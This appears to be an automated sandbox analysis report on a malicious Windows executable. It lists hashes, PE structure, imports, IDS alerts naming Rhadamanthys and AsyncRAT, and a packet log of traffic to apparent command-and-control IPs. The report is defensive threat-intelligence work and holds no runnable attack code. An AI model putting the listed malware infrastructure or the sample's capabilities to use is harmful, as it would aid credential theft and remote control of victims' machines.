MD5:	5BF9C5C649E1AF61B41EBCDFCA9597BC
SHA1:	8F83FFE801801567DA2933A3033F3D2AE0059AD3
SHA-256:	55A451457DBC1F6D28A4C1AB2D477FBBFAE002999A0789C9F3D1BD6610511D98
SHA-512:	32E7CF427EBA9E903D77B59F7299864149C6DD4B19FE59CE3C1E3144DB171E3C003CA06EA0E8B3B5CAF3E4DA4559F748760B6CB0256D063140797C32AADCD029
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 12% Antivirus: Virustotal, Detection: 7%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d...E..f..........."...*.....h......0................................................l....`... .................................................................................\|...............................(...................X................................text...X...........................`..`.data...............................@....rdata..............................@..@.pdata..............................@..@.xdata...2...0...4..................@..@.bss....@....p...........................edata...............N..............@..@.idata...............P..............@....CRT....`............b..............@....tls.................d..............@....reloc..\|............f..............@..B........................................................................................................................................................................

Static File Info

General

File type:	PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows
Entropy (8bit):	7.351293589769997
TrID:	Win64 Executable (generic) (12005/4) 74.95% Generic Win/DOS Executable (2004/3) 12.51% DOS Executable Generic (2002/1) 12.50% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.04%
File name:	81zBpBAWwc.exe
File size:	2'322'503 bytes
MD5:	8837df25aabc4fad85e851aca192f714
SHA1:	c4fbd38356b7ee16eaf21deb83170bbcb0fe566a
SHA256:	741cee2c6f6f8ee8a54923fa2a0c88085cede35bdc2e95b1b9f1800e894e6c19
SHA512:	93f712ae3ca726b090df270feb1421ea98778260b7fe309e06ac3887b396d3dc8ab41655ec7d15a57cac8b467cca0395a52ef965765a26c9597f6512fdad88e2
SSDEEP:	49152:fIGHiuBfswUwl+GdRI2UET1SUvj0Ug6j9iuXWvpAqahtX8+34+vSVHstzn+qpEjs:fNCuBfZ4GdfUaj0UgM5WviXtT34+vBJV
TLSH:	62B5D002B4F49DACDA96E134828E973676797C8C4233FABB0579A2302D56D936F0D71C
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d...w-.f....e.....&....*.......................@............................. ......J.#...`... ............................

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x1400013d0
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x140000000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LARGE_ADDRESS_AWARE, DEBUG_STRIPPED
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT
Time Stamp:	0x66FC2D77 [Tue Oct 1 17:12:23 2024 UTC]
TLS Callbacks:	0x40065e00, 0x1, 0x400ad5f0, 0x1, 0x400ad5c0, 0x1
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	54776c3646f747dfbde158e246ecf23c

Entrypoint Preview

Instruction
dec eax
sub esp, 28h
dec eax
mov eax, dword ptr [001C3AD5h]
mov dword ptr [eax], 00000001h
call 00007FEF4CBC323Fh
nop
nop
dec eax
add esp, 28h
ret
nop dword ptr [eax]
dec eax
sub esp, 28h
dec eax
mov eax, dword ptr [001C3AB5h]
mov dword ptr [eax], 00000000h
call 00007FEF4CBC321Fh
nop
nop
dec eax
add esp, 28h
ret
nop dword ptr [eax]
dec eax
sub esp, 28h
call 00007FEF4CC6F514h
dec eax
cmp eax, 01h
sbb eax, eax
dec eax
add esp, 28h
ret
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
dec eax
lea ecx, dword ptr [00000009h]
jmp 00007FEF4CBC3479h
nop dword ptr [eax+00h]
ret
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
dec eax
sub esp, 28h
dec esp
cmp ecx, eax
jnbe 00007FEF4CBC34ADh
dec eax
mov eax, edx
dec eax
mov edx, ecx
dec eax
add esp, 28h
ret
dec esp
mov edx, eax
dec ebp
mov eax, ecx
call 00007FEF4CC5F4F6h
int3
dec eax
sub esp, 28h
dec ebp
mov edx, eax
dec ecx
sub edx, ecx
jc 00007FEF4CBC34B0h
dec eax
add edx, ecx
dec eax
mov eax, edx
dec esp
mov edx, edx
dec eax
add esp, 28h
ret
dec esp
mov edx, eax
dec ebp
mov eax, ecx
call 00007FEF4CC5F460h
int3
inc ecx

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x1db000	0x1d48	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x1df000	0x4e8	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x1c6000	0x7404	.pdata
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x1e0000	0x11e8	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x1c4ae0	0x28	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x1db6f0	0x610	.idata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0xb9098	0xb9200	99984de426a9275eb900277f5b8ef06a	False	0.49089245020256583	data	6.404407400450186	IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.data	0xbb000	0xde0	0xe00	6d0f2ecef6903b7df32182d0a8536b60	False	0.6397879464285714	data	5.1097883444350085	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rdata	0xbc000	0x109fa0	0x10a000	226e8abb80e29a4baebdb6db8ac376b6	False	0.8954591679393797	data	7.850666291614015	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.pdata	0x1c6000	0x7404	0x7600	abac26793d25353b0222bc960f525c37	False	0.4912274894067797	data	5.893129234952204	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.xdata	0x1ce000	0xb670	0xb800	e173a0489173ca284506ac3195c19a55	False	0.25717561141304346	data	5.27360936989502	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.bss	0x1da000	0x2a0	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x1db000	0x1d48	0x1e00	1f934f2d7f0a09515ec9abea148174aa	False	0.31223958333333335	data	4.5947076544396594	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.CRT	0x1dd000	0x68	0x200	c4a8682d1a0c007aacc39168274a23b9	False	0.076171875	data	0.3902893143356773	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.tls	0x1de000	0x10	0x200	bf619eac0cdf3f68d496ea9344137e8b	False	0.02734375	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x1df000	0x4e8	0x600	f82d6037a9e9b85cabdd7d085d8ec1bb	False	0.3352864583333333	data	4.784930512373522	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x1e0000	0x11e8	0x1200	f383ddce524398bbedbb49a7cd796939	False	0.5549045138888888	data	5.417725925946441	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x1df058	0x48f	XML 1.0 document, ASCII text			0.40102827763496146

Imports

DLL	Import
KERNEL32.dll	DeleteCriticalSection, EnterCriticalSection, InitializeCriticalSection, LeaveCriticalSection, RaiseException, RtlUnwindEx, VirtualProtect, VirtualQuery, __C_specific_handler
msvcrt.dll	__getmainargs, __initenv, __iob_func, __set_app_type, __setusermatherr, _amsg_exit, _assert, _cexit, _commode, _fmode, _fpreset, _initterm, _onexit, abort, calloc, exit, fprintf, free, fwrite, malloc, memcmp, memcpy, memmove, memset, realloc, signal, strlen, strncmp, vfprintf
ntdll.dll	NtCreateFile, NtReadFile, NtWriteFile, RtlNtStatusToDosError
USERENV.dll	GetUserProfileDirectoryW
WS2_32.dll	WSACleanup, WSADuplicateSocketW, WSAGetLastError, WSARecv, WSASend, WSASocketW, WSAStartup, accept, bind, closesocket, connect, freeaddrinfo, getaddrinfo, getpeername, getsockname, getsockopt, ioctlsocket, listen, recv, recvfrom, select, send, sendto, setsockopt, shutdown
KERNEL32.dll	AddVectoredExceptionHandler, CancelIo, CloseHandle, CompareStringOrdinal, CopyFileExW, CreateDirectoryW, CreateEventW, CreateFileMappingA, CreateFileW, CreateHardLinkW, CreateMutexA, CreateNamedPipeW, CreateProcessW, CreateSymbolicLinkW, CreateThread, CreateToolhelp32Snapshot, CreateWaitableTimerExW, DeleteFileW, DeleteProcThreadAttributeList, DeviceIoControl, DuplicateHandle, ExitProcess, FileTimeToSystemTime, FindClose, FindFirstFileW, FindNextFileW, FlushFileBuffers, FormatMessageW, FreeEnvironmentStringsW, GetCommandLineW, GetConsoleMode, GetCurrentDirectoryW, GetCurrentProcess, GetCurrentProcessId, GetCurrentThread, GetEnvironmentStringsW, GetEnvironmentVariableW, GetExitCodeProcess, GetFileAttributesW, GetFileInformationByHandle, GetFileInformationByHandleEx, GetFileType, GetFinalPathNameByHandleW, GetFullPathNameW, GetLastError, GetModuleFileNameW, GetModuleHandleA, GetModuleHandleW, GetOverlappedResult, GetProcAddress, GetProcessHeap, GetProcessId, GetStdHandle, GetSystemDirectoryW, GetSystemInfo, GetSystemTimeAsFileTime, GetSystemTimePreciseAsFileTime, GetTempPathW, GetTimeZoneInformation, GetWindowsDirectoryW, HeapAlloc, HeapFree, HeapReAlloc, InitOnceBeginInitialize, InitOnceComplete, InitializeProcThreadAttributeList, MapViewOfFile, Module32FirstW, Module32NextW, MoveFileExW, MultiByteToWideChar, QueryPerformanceCounter, QueryPerformanceFrequency, ReadConsoleW, ReadFile, ReadFileEx, RemoveDirectoryW, RtlCaptureContext, RtlLookupFunctionEntry, RtlVirtualUnwind, SetCurrentDirectoryW, SetEnvironmentVariableW, SetFileAttributesW, SetFileInformationByHandle, SetFilePointerEx, SetFileTime, SetHandleInformation, SetLastError, SetThreadStackGuarantee, SetUnhandledExceptionFilter, SetWaitableTimer, Sleep, SleepEx, SwitchToThread, SystemTimeToFileTime, SystemTimeToTzSpecificLocalTime, TerminateProcess, TlsAlloc, TlsFree, TlsGetValue, TlsSetValue, TzSpecificLocalTimeToSystemTime, UnmapViewOfFile, UpdateProcThreadAttribute, WaitForMultipleObjects, WaitForSingleObject, WideCharToMultiByte, WriteConsoleW, WriteFileEx, lstrlenW
ole32.dll	CoTaskMemFree
SHELL32.dll	SHGetKnownFolderPath
api-ms-win-core-synch-l1-2-0.dll	WaitOnAddress, WakeByAddressAll, WakeByAddressSingle
bcryptprimitives.dll	ProcessPrng

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-05T14:33:07.055635+0200	2854802	ETPRO MALWARE Suspected Rhadamanthys Related SSL Cert	1	147.45.126.71	3752	192.168.2.4	49730	TCP
2024-10-05T14:33:18.518868+0200	2854802	ETPRO MALWARE Suspected Rhadamanthys Related SSL Cert	1	147.45.126.71	3752	192.168.2.4	49737	TCP
2024-10-05T14:33:18.518868+0200	2854824	ETPRO JA3 HASH Suspected Malware Related Response	2	147.45.126.71	3752	192.168.2.4	49737	TCP
2024-10-05T14:33:28.169435+0200	2854802	ETPRO MALWARE Suspected Rhadamanthys Related SSL Cert	1	147.45.126.71	3752	192.168.2.4	49738	TCP
2024-10-05T14:33:28.169435+0200	2854824	ETPRO JA3 HASH Suspected Malware Related Response	2	147.45.126.71	3752	192.168.2.4	49738	TCP
2024-10-05T14:33:34.235800+0200	2854802	ETPRO MALWARE Suspected Rhadamanthys Related SSL Cert	1	46.29.238.96	4872	192.168.2.4	49739	TCP
2024-10-05T14:33:57.322189+0200	2842478	ETPRO JA3 Hash - Suspected ASYNCRAT Server Cert (ja3s)	1	185.196.9.174	7777	192.168.2.4	57406	TCP
2024-10-05T14:35:02.831698+0200	2842478	ETPRO JA3 Hash - Suspected ASYNCRAT Server Cert (ja3s)	1	185.196.9.174	7777	192.168.2.4	58626	TCP
2024-10-05T14:35:03.776364+0200	2854802	ETPRO MALWARE Suspected Rhadamanthys Related SSL Cert	1	46.29.238.96	4872	192.168.2.4	58627	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 5, 2024 14:32:59.410892963 CEST	49675	443	192.168.2.4	173.222.162.32
Oct 5, 2024 14:33:06.411350965 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:06.418116093 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:06.418354988 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:06.418468952 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:06.424618959 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.050143003 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.050714016 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.055634975 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.243326902 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.255153894 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.260066986 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.493530989 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.493588924 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.493633032 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.493701935 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.493957043 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.493989944 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.494019032 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.494024038 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.494059086 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.494081020 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.494287968 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.494322062 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.494339943 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.494452000 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.494484901 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.494501114 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.494524002 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.494570971 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.500471115 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.500545979 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.500580072 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.500598907 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.551542997 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.764920950 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.765021086 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.765081882 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.765114069 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.765119076 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.765155077 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.765170097 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.765192986 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.765222073 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.765244007 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.765263081 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.765311003 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.765604973 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.765671968 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.765707016 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.765722036 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.765742064 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.765777111 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.765794992 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.765810966 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.765841961 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.765860081 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.765878916 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.765927076 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.766572952 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.766621113 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.766659975 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.766669989 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.766695976 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.766726017 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.766737938 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.766762972 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.766798019 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.766803980 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.766838074 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.766872883 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.766884089 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.767502069 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.767554045 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.767556906 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.770385027 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.770447016 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.770576954 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.770620108 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.770668030 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.770701885 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.771161079 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.771212101 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.771219015 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.771248102 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.771287918 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.771296024 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.771507978 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.771560907 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.771636009 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.771672964 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.771718025 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.771950006 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.771986008 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.772023916 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.772032976 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.772418976 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.772470951 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.772537947 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.772572041 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.772619009 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.772830009 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.772865057 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.772917986 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.773313999 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.773425102 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.773458958 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.773467064 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.773685932 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.773721933 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.773736000 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.774175882 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.774225950 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.774311066 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.774344921 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.774395943 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.774604082 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.774638891 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.774682999 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.775085926 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.775204897 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.775240898 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.775250912 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.775486946 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.775521994 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.775537014 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.775974989 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.776032925 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.776065111 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.776098967 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.776140928 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.776315928 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.776350021 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.776396036 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.776859999 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.776949883 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.776982069 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.776997089 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.777182102 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.777216911 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.777230024 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.777745008 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.777796984 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.777925968 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.778110981 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.778158903 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.778162956 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.778433084 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.778487921 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.778523922 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.778799057 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.778846979 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.778930902 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.779015064 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.779062986 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.779109955 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.783620119 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.783665895 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.783684015 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.783755064 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.783783913 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.783802986 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.790967941 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.791066885 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.791085005 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.791110992 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.791162014 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.797599077 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.797687054 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.797723055 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.797744989 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.803566933 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.803669930 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.803698063 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.803711891 CEST	3752	49730	147.45.126.71	192.168.2.4
